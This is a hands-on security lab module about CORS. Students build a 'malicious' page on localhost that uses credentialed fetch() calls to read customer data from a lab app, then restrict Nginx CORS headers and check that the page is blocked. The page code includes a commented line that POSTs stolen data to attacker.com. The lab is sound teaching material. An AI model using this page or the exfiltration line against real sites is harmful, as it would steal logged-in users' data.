Skip to main content

Module 12 — CORS Security (Attack / Understand / Fix)

Objective

Demonstrate cross-origin request exploitation, understand how CORS (Cross-Origin Resource Sharing) works, then configure proper CORS headers in Nginx to block unauthorized origins.

By the end of this module you will have:

OutcomeDetail
ExploitedMade cross-origin API requests from a "malicious" website
UnderstoodHow browsers enforce the Same-Origin Policy and what CORS headers control
FixedNginx configured with restrictive CORS headers
VerifiedCross-origin requests are blocked; the app works normally from its own origin

Prerequisites

  • Module 11 complete (firewall rules configured)
  • App running and accessible via Nginx at http://192.168.56.13
  • Tailscale Funnel configured with a public URL (from Module 07)
  • SSH access to web-server: ssh web-server
  • Python 3 installed on your Mac (for a simple HTTP server)

1. Introduction — Browsers as gatekeepers

All the attacks so far targeted the server side: SQL injection, network sniffing, brute force, direct database access. This module targets the client side — the browser.

Browsers enforce a security policy called the Same-Origin Policy (SOP). It prevents JavaScript on one website from reading responses from a different website. Without it, any website you visit could silently call your bank's API using your logged-in session.

CORS is the mechanism that allows servers to selectively relax the Same-Origin Policy. If a server sends the right CORS headers, it tells the browser: "This specific origin is allowed to read my responses."

The problem: if a server sends no CORS headers, or sends overly permissive ones, attackers may be able to steal data from users who visit a malicious page.


2. CTF Challenge

Challenge: Create an HTML file on your Mac that uses fetch() to call the Customer Information App API from a different origin. Can you read customer data from your "malicious" website? You have 20 minutes.

Rules:

  • Create an HTML file and serve it from localhost:9999 using Python
  • The API is at http://192.168.56.13
  • You need a valid session cookie (login first via curl)
  • Your goal: read customer data via JavaScript from your malicious page

If you get stuck, reveal the hints below one at a time:

Hint 1

Use fetch('http://192.168.56.13/api/customers') in a <script> tag.

Hint 2

Add credentials: 'include' to the fetch options to send cookies cross-origin.

Hint 3

Open the browser console (F12 → Console) to see CORS error messages or successful responses.

Once you have tried the challenge (or after 20 minutes), continue to the guided attack below.


3. Guided Attack — Cross-origin data theft

Step 1 — Get a valid session

First, login to the app in your browser by visiting http://192.168.56.13 and logging in with admin / admin123. This sets a session cookie in your browser.

Step 2 — Create a malicious HTML page

On your Mac, create the attacker's page:

mkdir -p /tmp/malicious-site
cat > /tmp/malicious-site/index.html << 'EOF'
<!DOCTYPE html>
<html>
<head>
<title>Totally Legit Website</title>
<style>
body { font-family: sans-serif; max-width: 800px; margin: 40px auto; padding: 0 20px; }
.stolen { background: #ffe0e0; border: 1px solid #ff0000; padding: 15px; margin: 10px 0; }
.status { background: #e0e0ff; padding: 10px; margin: 10px 0; }
pre { white-space: pre-wrap; }
</style>
</head>
<body>
<h1>Totally Legit Website</h1>
<p>This page is served from <code>localhost:9999</code>.</p>
<p>It is attempting to read customer data from <code>http://192.168.56.13</code> (a different origin).</p>

<div class="status" id="status">Attempting cross-origin request...</div>
<div id="results"></div>

<script>
const API = 'http://192.168.56.13';
const results = document.getElementById('results');
const status = document.getElementById('status');

// Attempt 1: Simple GET request
fetch(API + '/api/customers', {
credentials: 'include' // Send cookies cross-origin
})
.then(response => {
status.innerHTML = 'Response received! Status: ' + response.status;
return response.json();
})
.then(data => {
results.innerHTML = '<div class="stolen">' +
'<h3>STOLEN CUSTOMER DATA:</h3>' +
'<pre>' + JSON.stringify(data, null, 2) + '</pre>' +
'</div>';

// In a real attack, send the data to the attacker's server:
// fetch('https://attacker.com/collect', { method: 'POST', body: JSON.stringify(data) });
})
.catch(error => {
status.innerHTML = 'Request blocked!';
results.innerHTML = '<div class="status">' +
'<h3>Browser blocked the request:</h3>' +
'<pre>' + error + '</pre>' +
'<p>Open the browser console (F12) for details.</p>' +
'</div>';
});

// Attempt 2: Try to login cross-origin
fetch(API + '/api/login', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ username: 'admin', password: 'admin123' })
})
.then(r => r.text())
.then(data => {
results.innerHTML += '<div class="stolen">' +
'<h3>CROSS-ORIGIN LOGIN RESPONSE:</h3>' +
'<pre>' + data + '</pre>' +
'</div>';
})
.catch(error => {
results.innerHTML += '<div class="status">' +
'<h3>Login request blocked:</h3>' +
'<pre>' + error + '</pre>' +
'</div>';
});
</script>
</body>
</html>
EOF

Step 3 — Serve the malicious page

cd /tmp/malicious-site
python3 -m http.server 9999

Step 4 — Open the malicious page

Open your browser and navigate to http://localhost:9999.

Step 5 — Observe the behavior

Open the browser's developer tools (F12 → Console tab). You will see one of these outcomes:

If no CORS headers are set on the server (current state):

The browser sends the request, the server processes it and returns the data, but the browser blocks JavaScript from reading the response. You will see an error like:

Access to fetch at 'http://192.168.56.13/api/customers' from origin 'http://localhost:9999'
has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on
the requested resource.

Important: The request was still sent and processed by the server. The browser only blocks the response from reaching JavaScript. For GET requests this is mostly safe, but for POST requests that modify data, the damage is already done by the time the browser blocks the response.

Step 6 — The preflight gap

For "simple" requests (GET with standard headers), the browser sends the request directly. For "complex" requests (POST with Content-Type: application/json), the browser first sends an OPTIONS preflight request to check if the server allows it.

Without CORS headers, the preflight fails and the actual POST is never sent. But if someone adds permissive CORS headers (like Access-Control-Allow-Origin: *), all cross-origin requests — including data-modifying POSTs — would succeed.


4. Why This Matters

The attack scenario

  1. Attacker sends a phishing email to a user of the Customer Information App
  2. User clicks the link, opening evil-site.com in their browser
  3. The user is already logged into the Customer App (session cookie exists)
  4. JavaScript on evil-site.com calls the Customer App API with the user's cookies
  5. If CORS allows it, the attacker's JavaScript reads the response containing customer data
  6. The stolen data is sent to the attacker's server

What CORS controls

CORS HeaderControls
Access-Control-Allow-OriginWhich origins can read responses
Access-Control-Allow-MethodsWhich HTTP methods are allowed cross-origin
Access-Control-Allow-HeadersWhich request headers are allowed cross-origin
Access-Control-Allow-CredentialsWhether cookies are sent with cross-origin requests

The danger of Access-Control-Allow-Origin: *

Setting the origin to * (wildcard) means any website can read your API responses. Never use * on an API that:

  • Uses cookies or sessions for authentication
  • Returns private or sensitive data
  • Accepts data-modifying requests (POST, PUT, DELETE)

5. The Fix — Nginx CORS headers

Configure Nginx to return explicit CORS headers that only allow requests from your own domain.

Step 1 — Edit the Nginx configuration

ssh web-server
sudo nano /etc/nginx/sites-available/customerapp

Replace the entire file with:

server {
listen 80;
server_name _;

location / {
proxy_pass http://192.168.56.12:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;

# CORS headers — restrict to your Tailscale Funnel URL
# Replace YOUR-TUNNEL-DOMAIN with your actual Tailscale Funnel URL
set $cors_origin "https://YOUR-TUNNEL-DOMAIN";

add_header Access-Control-Allow-Origin $cors_origin always;
add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS" always;
add_header Access-Control-Allow-Headers "Content-Type, Authorization" always;
add_header Access-Control-Allow-Credentials "true" always;

# Handle preflight requests
if ($request_method = OPTIONS) {
add_header Access-Control-Allow-Origin $cors_origin;
add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE, OPTIONS";
add_header Access-Control-Allow-Headers "Content-Type, Authorization";
add_header Access-Control-Allow-Credentials "true";
add_header Access-Control-Max-Age 86400;
return 204;
}
}
}

Replace YOUR-TUNNEL-DOMAIN with your actual Tailscale Funnel URL (e.g., web-server.tailnet-name.ts.net).

Step 2 — Test and reload Nginx

sudo nginx -t
sudo systemctl reload nginx

Step 3 — Verify the headers

curl -v http://192.168.56.13/health 2>&1 | grep -i "access-control"

Expected output:

< Access-Control-Allow-Origin: https://YOUR-TUNNEL-DOMAIN
< Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
< Access-Control-Allow-Headers: Content-Type, Authorization
< Access-Control-Allow-Credentials: true

Step 4 — Test preflight response

curl -v -X OPTIONS http://192.168.56.13/api/customers \
-H "Origin: https://evil-site.com" \
-H "Access-Control-Request-Method: POST" \
2>&1 | grep -i "access-control\|< HTTP"

Expected: The server returns 204 with CORS headers specifying only your domain — not evil-site.com.


6. Verify — Re-run the attack

Verify cross-origin requests are blocked

Make sure the Python server from step 3 is still running (python3 -m http.server 9999). If not, restart it.

Open http://localhost:9999 in your browser again. Open the developer console (F12).

Expected: The browser console shows:

Access to fetch at 'http://192.168.56.13/api/customers' from origin 'http://localhost:9999'
has been blocked by CORS policy: The 'Access-Control-Allow-Origin' header has a value
'https://YOUR-TUNNEL-DOMAIN' that is not equal to the supplied origin.

The server now explicitly declares which origin is allowed, and localhost:9999 is not it.

Verify the app works from its own origin

Open your Tailscale Funnel URL (https://YOUR-TUNNEL-DOMAIN) in the browser:

  • Login works
  • Customer CRUD operations work
  • No CORS errors in the console

Verify from curl (curl ignores CORS)

curl -c cookies.txt -X POST http://192.168.56.13/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"admin123"}'

curl -b cookies.txt http://192.168.56.13/api/customers

Expected: Both work. CORS is enforced by browsers, not by curl. This is expected behavior — CORS protects browser users from malicious websites, not the API from direct access. API authentication (session cookies, rate limiting) protects against direct access.

Clean up

Stop the Python server with Ctrl+C and remove the test files:

rm -rf /tmp/malicious-site

Troubleshooting

ProblemSolution
nginx -t failsCheck for syntax errors. Common issues: missing semicolons, unmatched braces, typos in header names.
CORS headers not appearing in responseVerify the Nginx config is in sites-enabled (symlinked). Run sudo nginx -t && sudo systemctl reload nginx.
App works from browser but CORS headers missingCheck the always parameter on add_header — without it, headers are only sent on success responses (2xx).
Preflight returns 405 instead of 204Make sure the if ($request_method = OPTIONS) block is present and returns 204.
Everything blocked including legitimate requestsCheck that $cors_origin matches your actual Tailscale Funnel URL exactly (including https://).

Summary

What you didWhat you learned
Created a malicious page on a different originAny website can attempt API calls using a visitor's cookies
Observed browser CORS enforcementBrowsers block cross-origin response reading by default
Understood preflight requestsComplex requests (POST with JSON) trigger OPTIONS checks first
Added explicit CORS headers in NginxThe server declares exactly which origins are trusted
Verified cross-origin requests are blockedOnly the legitimate Tailscale Funnel URL can read API responses

The one rule to remember: Never use Access-Control-Allow-Origin: * on authenticated APIs. Explicitly list the origins you trust.